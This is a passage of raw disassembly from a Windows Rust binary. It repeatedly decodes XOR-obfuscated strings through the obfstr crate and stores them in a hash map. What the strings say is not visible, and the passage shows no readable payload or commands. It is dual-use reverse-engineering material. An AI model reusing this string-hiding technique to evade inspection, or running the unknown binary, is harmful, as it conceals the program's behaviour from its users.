lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 2
lea rdi, [rsp + 0x1930]
lea rdx, [rsp + 0xe0]
mov rcx, rdi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rdi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004c179
test rax, rax
je 0x14004c179
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402b67ff]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x4751a38d
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h9c2c5de4963becaa
mov edi, dword [rax]
movzx ebp, word [rax + 4]
movzx eax, byte [0x14035b110]
mov edx, 6
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055b51
mov ecx, ebp
shr ecx, 8
xor cl, 0xba
movzx ecx, cl
shl rcx, 0x28
xor bpl, 0x89
movzx edx, bpl
shl rdx, 0x20
or rdx, rcx
xor edi, 0x31b72520
mov dword [rax], edi
shr rdx, 0x20
mov word [rax + 4], dx
mov qword [rsp + 0x900], 6
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 6
lea rax, [0x1402bb968]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x6107e758
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h10b073af8e058d35
movabs rcx, 0xb68169459bd89118
xor rcx, qword [rax]
movabs rdx, 0x45a54256ee9916b1
xor rdx, qword [rax + 8]
movabs r8, 0xfc2eaea150116081
xor r8, qword [rax + 0x10]
movabs r9, 0xbedab53516a9d1dc
xor r9, qword [rax + 0x18]
movabs r10, 0x1057a535e7f0406b
xor r10, qword [rax + 0x20]
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov qword [rsp + 0xbf0], r10
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x28
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 2
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 2
lea rdi, [rsp + 0x1948]
lea rdx, [rsp + 0xe0]
mov rcx, rdi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rdi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004c3ab
test rax, rax
je 0x14004c3ab
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402bdc23]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xefb93258
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h07c2905bb5a8c479
mov edi, dword [rax]
movzx ebp, word [rax + 4]
movzx r15d, byte [rax + 6]
movzx eax, byte [0x14035b110]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055ab5
shl r15d, 0x10
or ebp, r15d
mov ecx, ebp
shr ecx, 0x10
xor cl, 0xef
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, ebp
shr edx, 8
xor dl, 0x37
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor bpl, 0xbb
movzx ecx, bpl
shl rcx, 0x20
or rcx, rdx
xor edi, 0x9cea0286
mov dword [rax], edi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1402ba67e]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xd52de17e
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h47a0bf15f048d60b
movabs rcx, 0xbe09850974af6cb5
xor rcx, qword [rax]
movabs rdx, 0x1fe6b9b85bb4a9fd
xor rdx, qword [rax + 8]
movabs r8, 0x5c1533d8d2ea67d0
xor r8, qword [rax + 0x10]
movabs r9, 0xfd0c6c6cb7a7930f
xor r9, qword [rax + 0x18]
movabs r10, 0x5b54498b60bb51ac
xor r10, qword [rax + 0x20]
movzx eax, byte [rax + 0x28]
xor al, 0x99
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov qword [rsp + 0xbf0], r10
mov byte [rsp + 0xbf8], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x29
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 2
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 2
lea rdi, [rsp + 0x1960]
lea rdx, [rsp + 0xe0]
mov rcx, rdi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rdi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004c60b
test rax, rax
je 0x14004c60b
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402b91d2]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x297ef2c7
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h17e7620391db8028
mov r15, qword [rax]
movzx edi, word [rax + 8]
movzx ebp, byte [rax + 0xa]
movzx eax, byte [0x14035b110]
mov edx, 0xb
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055b42
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0x71
mov edx, edi
shr edx, 8
xor dl, 0x18
xor dil, 0x2d
movabs r8, 0x734addf787e14861
xor r15, r8
mov qword [rax], r15
mov byte [rax + 8], dil
mov byte [rax + 9], dl
mov byte [rax + 0xa], cl
mov qword [rsp + 0x900], 0xb
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 0xb
lea rax, [0x1402b650b]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xe765c64c
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h006c3a5bdbaec18e
movabs rcx, 0xa98a08f2c99cb16a
xor rcx, qword [rax]
movabs rdx, 0x63f96d4afa13abb8
xor rdx, qword [rax + 8]
movabs r8, 0x3e3f5d6884514622
xor r8, qword [rax + 0x10]
movabs r9, 0xb37163367d4c381
xor r9, qword [rax + 0x18]
movabs r10, 0x682cfad9d7d15bab
xor r10, qword [rax + 0x20]
mov r11d, 0x19838d22
xor r11d, dword [rax + 0x28]
movzx eax, byte [rax + 0x2c]
xor al, 0x11
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov qword [rsp + 0xbf0], r10
mov dword [rsp + 0xbf8], r11d
mov byte [rsp + 0xbfc], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x2d
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 2
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 2
lea rdi, [rsp + 0x1978]
lea rdx, [rsp + 0xe0]
mov rcx, rdi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rdi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004c866
test rax, rax
je 0x14004c866
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402bad07]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x7b9bbaf4
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h9b9cdd8974f0b356
mov edi, dword [rax]
movzx ebp, byte [rax + 4]
movzx eax, byte [0x14035b110]
mov edx, 5
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055ae9
xor bpl, 0xf6
xor edi, 0xd847e763
mov byte [rax + 4], bpl
mov dword [rax], edi
mov qword [rsp + 0x900], 5
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 5
lea rax, [0x1402b4440]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xe954a75b
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h8fb2ca1940b031dc
movabs rcx, 0x6a709600ff29909d
xor rcx, qword [rax]
movabs rdx, 0x835f8bff6ea5e158
xor rdx, qword [rax + 8]
movabs r8, 0x8eb149aa362a0f0f
xor r8, qword [rax + 0x10]
movabs r9, 0x9abfeb9570f1768
xor r9, qword [rax + 0x18]
movabs r10, 0xdad174e1b9e05567
xor r10, qword [rax + 0x20]
mov r11d, 0x7de8f627
xor r11d, dword [rax + 0x28]
movzx eax, byte [rax + 0x2c]
xor al, 0x91
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov qword [rsp + 0xbf0], r10
mov dword [rsp + 0xbf8], r11d
mov byte [rsp + 0xbfc], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x2d
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 2
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 2
lea rsi, [rsp + 0x1990]
lea rdx, [rsp + 0xe0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004ca99
test rax, rax
je 0x14004ca99
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402bd900]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x8a89110d
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h640bbbd5d42e5c53
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebp, byte [rax + 6]
movzx eax, byte [0x14035b110]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055ab5
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0xa
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0x8c
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0x4f
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0xa353f771
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1402b6ce5]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x75a20faa
lea rsi, [rsp + 0xe0]
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::ha3601fbcb7dbf23e
movabs rcx, 0xba3b0f4c5005962
xor rcx, qword [rax]
movabs rdx, 0x3d45f892ca1ccb6a
xor rdx, qword [rax + 8]
movabs r8, 0xfe0b42a4c8a8ce99
xor r8, qword [rax + 0x10]
movabs r9, 0xdcc02bf25daeb8eb
xor r9, qword [rax + 0x18]
movabs r10, 0x77c428daee7ee28d
xor r10, qword [rax + 0x20]
movabs r11, 0xb62fbebaa93d2715
xor r11, qword [rax + 0x28]
movzx eax, byte [rax + 0x30]
xor al, 0x86
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0x100], r10
mov qword [rsp + 0x108], r11
mov byte [rsp + 0x110], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x31
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x19a8]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004cd14
test rax, rax
je 0x14004cd14
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402bedbb]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xd8320cdb
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h1f320e6a28753d4c
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebp, byte [rax + 6]
movzx eax, byte [0x14035b110]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055ab5
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0x6a
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0x89
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0xa
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0x45e046d7
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1402c087f]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x2bf7591f
lea rsi, [rsp + 0xe0]
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h13b40aabbcf9b987
movabs rcx, 0x822b5b3f56fce5fe
xor rcx, qword [rax]
movabs rdx, 0x8f07cc18c0d53cb9
xor rdx, qword [rax + 8]
movabs r8, 0x56bcf416a61a1c1a
xor r8, qword [rax + 0x10]
movabs r9, 0xfffb2be1cff45129
xor r9, qword [rax + 0x18]
movabs r10, 0x3e4a119bca6f92e2
xor r10, qword [rax + 0x20]
movabs r11, 0x633d023bf350bb47
xor r11, qword [rax + 0x28]
movzx eax, byte [rax + 0x30]
xor al, 0x46
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0x100], r10
mov qword [rsp + 0x108], r11
mov byte [rsp + 0x110], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x31
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x19c0]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004cf8f
test rax, rax
je 0x14004cf8f
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402b7ac5]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xa7d8b892
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h6f6106755a850b25
mov rdi, qword [rax]
movzx esi, word [rax + 8]
movzx eax, byte [0x14035b110]
mov edx, 0xa
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055c2c
mov ecx, esi
shr ecx, 8
xor cl, 0xa8
xor sil, 0xc1
movabs rdx, 0xd51e5bd38343d102
xor rdi, rdx
mov qword [rax], rdi
mov byte [rax + 8], sil
mov byte [rax + 9], cl
mov qword [rsp + 0x900], 0xa
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 0xa
lea rax, [0x1402b7acf]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x66f3bcb6
lea rsi, [rsp + 0xe0]
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h95433877609e7527
movabs rcx, 0x2fa38b55b94bb277
xor rcx, qword [rax]
movabs rdx, 0x42d4c14487e98211
xor rdx, qword [rax + 8]
movabs r8, 0xb2c0dd518579ab7a
xor r8, qword [rax + 0x10]
movabs r9, 0xa4f6eb8d843f9564
xor r9, qword [rax + 0x18]
movabs r10, 0x2db4199249699e8e
xor r10, qword [rax + 0x20]
movabs r11, 0x1fef653d7e47d4f1
xor r11, qword [rax + 0x28]
movzx edi, byte [rax + 0x32]
movzx eax, word [rax + 0x30]
mov ebp, eax
shr ebp, 8
xor al, 0xb9
xor bpl, 0x2f
xor dil, 0x5f
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0x100], r10
mov qword [rsp + 0x108], r11
mov byte [rsp + 0x110], al
mov byte [rsp + 0x111], bpl
mov byte [rsp + 0x112], dil
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x33
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x19d8]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004d203
test rax, rax
je 0x14004d203
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402b3b5f]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xdab316e8
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h8c8c93fd29e34853
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx eax, byte [0x14035b110]
mov edx, 6
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055b51
mov ecx, edi
shr ecx, 8
xor cl, 2
movzx ecx, cl
shl rcx, 0x28
xor dil, 0x7f
movzx edx, dil
shl rdx, 0x20
or rdx, rcx
xor esi, 0x958f4fa2
mov dword [rax], esi
shr rdx, 0x20
mov word [rax + 4], dx
mov qword [rsp + 0x900], 6
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 6
lea rax, [0x1402b8915]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x47c0be69
lea rsi, [rsp + 0xe0]
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::hd5cd44b41e4b7f8f
movabs rcx, 0xec277048271ff59e
xor rcx, qword [rax]
movabs rdx, 0xda44006447e05abf
xor rdx, qword [rax + 8]
movabs r8, 0xcd5ecbfa135d0540
xor r8, qword [rax + 0x10]
movabs r9, 0x571142689011bcaa
xor r9, qword [rax + 0x18]
movabs r10, 0x621d14df94d3c506
xor r10, qword [rax + 0x20]
movabs r11, 0x464247a7d054071c
xor r11, qword [rax + 0x28]
mov edi, 0xd862bf7c
xor edi, dword [rax + 0x30]
movzx ebp, byte [rax + 0x36]
movzx eax, word [rax + 0x34]
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0x100], r10
mov qword [rsp + 0x108], r11
mov dword [rsp + 0x110], edi
mov ecx, eax
xor al, 0xfa
mov byte [rsp + 0x114], al
shr ecx, 8
xor cl, 0x6f
mov byte [rsp + 0x115], cl
xor bpl, 0x22
mov byte [rsp + 0x116], bpl
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x37
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x19f0]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004d48e
test rax, rax
je 0x14004d48e
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402b347c]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x7bd12336
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h9d0c5d5db1269e5f
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebp, byte [rax + 6]
movzx eax, byte [0x14035b110]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055ab5
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0x2e
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0x2f
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0xfe
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0x1c08421b
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1402b7a3d]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xaf2a6ab3
lea rsi, [rsp + 0xe0]
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h33f3df54d59f73d6
movabs rcx, 0x9cc934c8e01c3e24
xor rcx, qword [rax]
movabs rdx, 0x6ce6a90f05d55e0
xor rdx, qword [rax + 8]
movabs r8, 0x954afdf9b81de49e
xor r8, qword [rax + 0x10]
movabs r9, 0xea8ba1cc9442a8e3
xor r9, qword [rax + 0x18]
movabs r10, 0x505132a948ffbc35
xor r10, qword [rax + 0x20]
movabs r11, 0x361efea7b6811ccb
xor r11, qword [rax + 0x28]
movabs rdi, 0xac287441d0872202
xor rdi, qword [rax + 0x30]
movzx eax, byte [rax + 0x38]
xor al, 0x31
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0x100], r10
mov qword [rsp + 0x108], r11
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x39
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1a08]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
